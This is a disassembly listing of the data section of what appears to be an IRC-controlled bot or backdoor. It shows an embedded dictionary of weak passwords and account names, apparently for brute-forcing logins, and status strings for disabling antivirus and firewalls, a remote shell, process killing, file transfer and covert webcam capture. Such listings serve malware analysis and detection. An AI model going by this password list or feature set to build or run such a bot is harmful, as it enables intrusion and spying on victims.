aArrow		db 'arrow',0            ; DATA XREF: ___:004295E4o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:004295E0o
		align 4
aArlene		db 'arlene',0           ; DATA XREF: ___:004295DCo
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:004295D8o
aAria		db 'aria',0             ; DATA XREF: ___:004295D4o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:004295D0o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: ___:004295CCo
		align 4
aAnything	db 'anything',0         ; DATA XREF: ___:004295C8o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:004295C4o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:004295C0o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:004295BCo
aAnswer		db 'answer',0           ; DATA XREF: ___:004295B8o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:004295B4o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:004295B0o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: ___:004295ACo
aAnne		db 'anne',0             ; DATA XREF: ___:004295A8o
		align 4
aAnna		db 'anna',0             ; DATA XREF: ___:004295A4o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:004295A0o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: ___:0042959Co
aAnimal		db 'animal',0           ; DATA XREF: ___:00429598o
		align 4
aAngie		db 'angie',0            ; DATA XREF: ___:00429594o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:00429590o
		align 10h
aAngela		db 'angela',0           ; DATA XREF: ___:0042958Co
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: ___:00429588o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: ___:00429584o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: ___:00429580o
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042957Co
aAndrea		db 'andrea',0           ; DATA XREF: ___:00429578o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:00429574o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:00429570o
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042956Co
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: ___:00429568o
		align 4
aAnal		db 'anal',0             ; DATA XREF: ___:00429564o
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:00429560o
		align 4
aAmerica	db 'america',0          ; DATA XREF: ___:0042955Co
aAmber		db 'amber',0            ; DATA XREF: ___:00429558o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: ___:00429554o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:00429550o
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042954Co
		align 4
aAllow		db 'allow',0            ; DATA XREF: ___:00429548o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: ___:00429544o
aAlison		db 'alison',0           ; DATA XREF: ___:00429540o
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042953Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: ___:00429538o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: ___:00429534o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Do
					; ___:00429530o
aAlias		db 'alias',0            ; DATA XREF: ___:0042952Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: ___:00429528o
aAlexande	db 'alexande',0         ; DATA XREF: ___:00429524o
		align 4
aAlex		db 'alex',0             ; DATA XREF: ___:00429520o
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042951Co
		align 4
aAlbert		db 'albert',0           ; DATA XREF: ___:00429518o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:00429514o
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: ___:00429510o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042950Co
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: ___:00429508o
		align 4
aAids		db 'aids',0             ; DATA XREF: ___:00429504o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:00429500o
		align 10h
aAdult		db 'adult',0            ; DATA XREF: ___:004294FCo
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:004294F8o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:004294F4o
		align 4
aAdam		db 'adam',0             ; DATA XREF: ___:004294F0o
		align 4
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
					; ___:004294ECo
		align 4
aAccount	db 'account',0          ; DATA XREF: ___:004294E8o
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
					; ___:004294E4o
		align 4
aAcademic	db 'academic',0         ; DATA XREF: ___:004294E0o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: ___:004294DCo
		align 4
a000000		db '000000',0           ; DATA XREF: ___:004294D8o
		align 4
a00000		db '00000',0            ; DATA XREF: ___:004294D4o
		align 4
a0000		db '0000',0             ; DATA XREF: ___:004294D0o
		align 4
a000		db '000',0              ; DATA XREF: ___:004294CCo
aTesting	db 'testing',0          ; DATA XREF: ___:004294C8o
aDeath		db 'death',0            ; DATA XREF: ___:004294C4o
		align 10h
a00		db '00',0               ; DATA XREF: ___:004294C0o
		align 4
a0:					; DATA XREF: sub_40CADA+2CAo
					; ___:004294BCo
		unicode	0, <0>,0
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:004294B8o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:004294B4o
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:004294B0o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:004294ACo
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:004294A8o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: ___:004294A4o
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: ___:004294A0o
aXx		db 'xx',0               ; DATA XREF: ___:0042949Co
		align 4
asc_42E6F8:				; DATA XREF: ___:00429498o
					; ___:0043D52Co ...
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:00429494o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:00429490o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042948Co
		align 4
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
					; ___:00429488o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: ___:00429484o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:00429480o
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042947Co
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: ___:00429478o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:00429474o
		align 4
aL337		db 'l337',0             ; DATA XREF: ___:00429470o
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042946Co
		align 4
aLeet		db 'leet',0             ; DATA XREF: ___:00429468o
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:00429464o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:00429460o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042945Co
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: ___:00429458o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:00429454o
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: ___:00429450o
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042944Co
aSatan		db 'satan',0            ; DATA XREF: ___:00429448o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: ___:00429444o
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: ___:00429440o
aMatt		db 'Matt',0             ; DATA XREF: ___:0042943Co
		align 10h
aMat		db 'Mat',0              ; DATA XREF: ___:00429438o
aPw		db 'pw',0               ; DATA XREF: ___:00429434o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: ___:00429430o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042942Co
		align 4
aPw123		db 'pw123',0            ; DATA XREF: ___:00429428o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:00429424o
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: ___:00429420o
aMypc		db 'mypc',0             ; DATA XREF: ___:0042941Co
		align 10h
aLove		db 'love',0             ; DATA XREF: ___:00429418o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: ___:00429414o
aLogin		db 'login',0            ; DATA XREF: ___:00429410o
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042940Co
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: ___:00429408o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:00429404o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: ___:00429400o
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:004293FCo
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: ___:004293F8o
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:004293F4o
		align 4
aWin		db 'win',0              ; DATA XREF: ___:004293F0o
aTest123	db 'test123',0          ; DATA XREF: ___:004293ECo
aAbc		db 'abc',0              ; DATA XREF: ___:004293E8o
aAaa		db 'aaa',0              ; DATA XREF: ___:004293E4o
aA:					; DATA XREF: sub_401ACD+48ACo
					; ___:004293E0o ...
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o ...
		align 4
aFucked		db 'fucked',0           ; DATA XREF: ___:004293D8o
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:004293D4o
aIrule		db 'irule',0            ; DATA XREF: ___:004293D0o
		align 10h
aOwned		db 'owned',0            ; DATA XREF: ___:004293CCo
		align 4
a0wned		db '0wned',0            ; DATA XREF: ___:004293C8o
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:004293C4o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:004293C0o
		align 4
aDevil		db 'devil',0            ; DATA XREF: ___:004293BCo
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: ___:004293B8o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: ___:004293B4o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:004293B0o
aSex		db 'sex',0              ; DATA XREF: ___:004293ACo
					; ___:off_43D7E0o
aPat		db 'pat',0              ; DATA XREF: ___:004293A8o
aPatrick	db 'patrick',0          ; DATA XREF: ___:004293A4o
aAlpha		db 'alpha',0            ; DATA XREF: ___:004293A0o
		align 4
a007		db '007',0              ; DATA XREF: ___:0042939Co
a123abc		db '123abc',0           ; DATA XREF: ___:00429398o
		align 4
a1234qwer	db '1234qwer',0
		align 4
a123123		db '123123',0
		align 4
a121212		db '121212',0           ; DATA XREF: ___:0042938Co
		align 4
a111111		db '111111',0           ; DATA XREF: ___:00429388o
		align 4
a110		db '110',0              ; DATA XREF: ___:00429384o
a2600		db '2600',0             ; DATA XREF: ___:00429380o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
					; ___:0042937Co
		align 10h
a2002		db '2002',0             ; DATA XREF: ___:00429378o
		align 4
aXp		db 'xp',0               ; DATA XREF: ___:00429374o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:00429370o
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042936Co
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:00429368o
a123asd		db '123asd',0           ; DATA XREF: ___:00429364o
		align 4
aSuper		db 'super',0            ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042935Co
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: ___:00429354o
		align 10h
aSybase		db 'sybase',0           ; DATA XREF: ___:00429350o
		align 4
aAbc123		db 'abc123',0
		align 10h
aAbcd		db 'abcd',0             ; DATA XREF: ___:00429344o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042933Co
		align 10h
aPass		db 'pass',0             ; DATA XREF: ___:00429338o
		align 4
a88888888	db '88888888',0         ; DATA XREF: ___:00429334o
		align 4
a11111111	db '11111111',0         ; DATA XREF: ___:00429330o
		align 10h
a111		db '111',0              ; DATA XREF: ___:0042932Co
a54321		db '54321',0            ; DATA XREF: ___:00429328o
		align 4
a654321		db '654321',0           ; DATA XREF: ___:00429324o
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:00429320o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: ___:0042931Co
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:00429318o
a123456		db '123456',0           ; DATA XREF: ___:00429314o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:00429310o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:0042930Co
		align 4
a123		db '123',0              ; DATA XREF: ___:00429308o
a12		db '12',0               ; DATA XREF: ___:00429304o
		align 4
a1:					; DATA XREF: ___:00429300o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:004292FCo
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:004292F8o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:004292F4o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:004292F0o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: ___:004292ECo
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: ___:004292E8o
		align 10h
aPepsi		db 'pepsi',0            ; DATA XREF: ___:004292E4o
		align 4
aServer_2	db 'SERVER',0           ; DATA XREF: ___:004292E0o
		align 10h
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:004292DCo
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: ___:004292D8o
		align 10h
aUser_2		db 'USER',0             ; DATA XREF: ___:004292D4o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: ___:004292D0o
		align 10h
aTest		db 'TEST',0
		align 4
aEdu		db 'edu',0
aOwner_0	db 'Owner',0
		align 4
aOwner_1	db 'OWNER',0
		align 4
aDemo		db 'DEMO',0
		align 4
aFiles		db 'FILES',0
		align 4
aRead		db 'READ',0             ; DATA XREF: ___:004292B4o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:004292B0o
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: ___:004292ACo
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:004292A8o
		align 4
aWrite		db 'WRITE',0
		align 4
aShare_0	db 'SHARE',0
		align 4
aTemp		db 'TEMP',0
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:00429298o
		align 10h
aAdmin		db 'ADMIN',0            ; DATA XREF: ___:00429294o
		align 4
aRoot		db 'ROOT',0             ; DATA XREF: ___:0042928Co
		align 10h
aGuest_0	db 'GUEST',0            ; DATA XREF: ___:00429288o
		align 4
aBla		db 'bla',0
aFubar		db 'fubar',0
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:00429264o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429260o
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429340o
		align 10h
aDefault_0	db 'default',0
aGuest_1	db 'guest',0
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0
aStudent	db 'student',0
aOwner		db 'owner',0            ; DATA XREF: ___:00429240o
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042923Co
					; ___:00429358o
		align 10h
aRoot_0		db 'root',0             ; DATA XREF: ___:00429290o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:00429234o
		align 10h
aAdmin_0	db 'admin',0
		align 4
aAdmins		db 'admins',0
		align 10h
aAdministrat	db 'administrat',0
aAdministrateur	db 'administrateur',0
		align 4
aAdministrador	db 'administrador',0
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0
		align 4
a@admin_com	db '*@admin.com',0
dword_42EC78	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42ECAC	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_42ECD8	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_42ED18	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_42ED3C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_42ED58	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_42ED64	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_42ED6C	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_42ED74	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_42EDDC	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42EDFC	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_42EE1C	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 10h
unk_42EE70	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 10h
asc_42EEF0:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42EEF4	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 4
unk_42EF18	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 10h
unk_42EF40	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_42EF64	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42EF88	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_42EFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 10h
dword_42EFD0	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_42EFEC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_42F018	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_42F03C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42F064	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_42F090	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_42F0B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42F0DC	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_42F0FC	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42F124	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_42F14C	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_42F16C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_42F19C	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_42F1BC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42F1EC	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_42F210	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_42F22C	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_42F250	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_42F268	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_42F2A8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_42F2C0	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_42F2DC	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42F2FC	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42F314	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42F340:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42F344	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
unk_42F368	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42F38C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_42F3CC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_42F40C	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
unk_42F438	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_42F470	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_42F4A4	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
